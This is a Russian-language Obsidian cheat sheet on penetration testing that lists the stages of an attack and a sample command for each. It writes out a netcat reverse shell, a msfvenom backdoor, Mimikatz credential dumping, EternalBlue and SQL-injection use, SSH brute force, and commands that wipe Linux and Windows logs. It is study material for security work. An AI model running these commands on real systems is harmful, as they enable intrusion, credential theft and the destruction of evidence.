obsidian/Краткая шпаргалка по пентесту (penetration testing).md

Включает этапы пентеста, инструменты и основные команды для каждого этапа.

1. Этапы пентеста

1.1. Разведка (Reconnaissance/Information Gathering) Сбор информации о целевой системе (активы, IP-адреса, домены, услуги).

Инструменты:

• whois — сбор информации о домене. whois example.com

• nslookup — запрос DNS-информации. nslookup example.com

• theHarvester — сбор информации из публичных источников. theharvester -d example.com -l 500 -b google

• shodan.io — поиск информации о сервисах и уязвимостях на IP-адресе.

1.2. Сканирование (Scanning) Анализ сетевой структуры, открытых портов, версий программного обеспечения.

Инструменты:

• Nmap — сканирование портов и служб. map -sS -Pn -A -T4 192.168.1.1 - -sS — SYN scan (сканирование с использованием неполных TCP-соединений), - -Pn — пропуск проверки доступности хоста (без ping), - -A — определение ОС, версий программ и выполнение скриптов.

• Netcat (nc) — диагностика открытых портов и ручное взаимодействие с сервисами. nc -v 192.168.1.1 80

1.3. Анализ уязвимостей (Vulnerability Analysis) Идентификация уязвимостей в системах или приложениях.

Инструменты:

• Nikto — сканирование веб-серверов на известные уязвимости. nikto -h http://example.com

• OpenVAS — комплексное сканирование уязвимостей.

• Nessus — поиск уязвимостей с помощью одного из наиболее популярных инструментов.

• Searchsploit — поиск эксплойтов в базе Exploit-DB.

  searchsploit apache 2.4

1.4. Эксплуатация (Exploitation) Использование уязвимостей для получения доступа к системе.

Инструменты:

• Metasploit Framework — платформа для эксплуатации уязвимостей. msfconsole

  Пример использования:

  1. Выбрать эксплойт:

     use exploit/windows/smb/ms17_010_eternalblue

  2. Установить цели:

     set RHOSTS 192.168.1.1

  3. Запуск эксплойта:

     exploit

• SQLMap — автоматизация SQL-инъекций.

  sqlmap -u "http://example.com/page?id=1" --dbs

1.5. Постэксплуатация (Post-Exploitation) После получения доступа важно изучить систему, получить дополнительные привилегии и найти полезную информацию.

Инструменты:

• Privilege Escalation — повышение привилегий (Linux):

  sudo -l

  или поиск конфигурационных ошибок:

  find / -perm -4000 2>/dev/null

• Mimikatz — сбор данных аутентификации в Windows.

  mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

1.6. Укрепление позиций (Persistence) Обеспечение постоянного доступа к скомпрометированной системе.

Инструменты:

• Netcat — создание обратного шелла.

  nc -lvp 4444

  На целевой системе:

  nc 192.168.1.2 4444 -e /bin/bash

• Metasploit — создание бэкдора.

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > backdoor.exe

1.7. Подчистка следов (Clearing Tracks) После завершения атаки важно удалить логи и следы проникновения.

Команды:

• Linux:

  rm -rf /var/log/*

• Windows:

  wevtutil cl System wevtutil cl Security

2. Основные команды для пентеста

• Netcat (nc) — создание прослушивания порта и работа с сетевыми соединениями.

  nc -lvp 4444 # прослушивание порта

• Hydra — брутфорс паролей.

  hydra -l admin -P passwords.txt ssh://192.168.1.1

• Burp Suite — перехват и модификация HTTP-запросов для анализа веб-приложений. Используется для анализа трафика и поиска уязвимостей.

Полезные онлайн-ресурсы Exploit Database — https://www.exploit-db.com/ CVE Details — https://www.cvedetails.com/ Shodan — https://www.shodan.io/ OWASP — https://owasp.org/ (ресурсы по безопасности веб-приложений).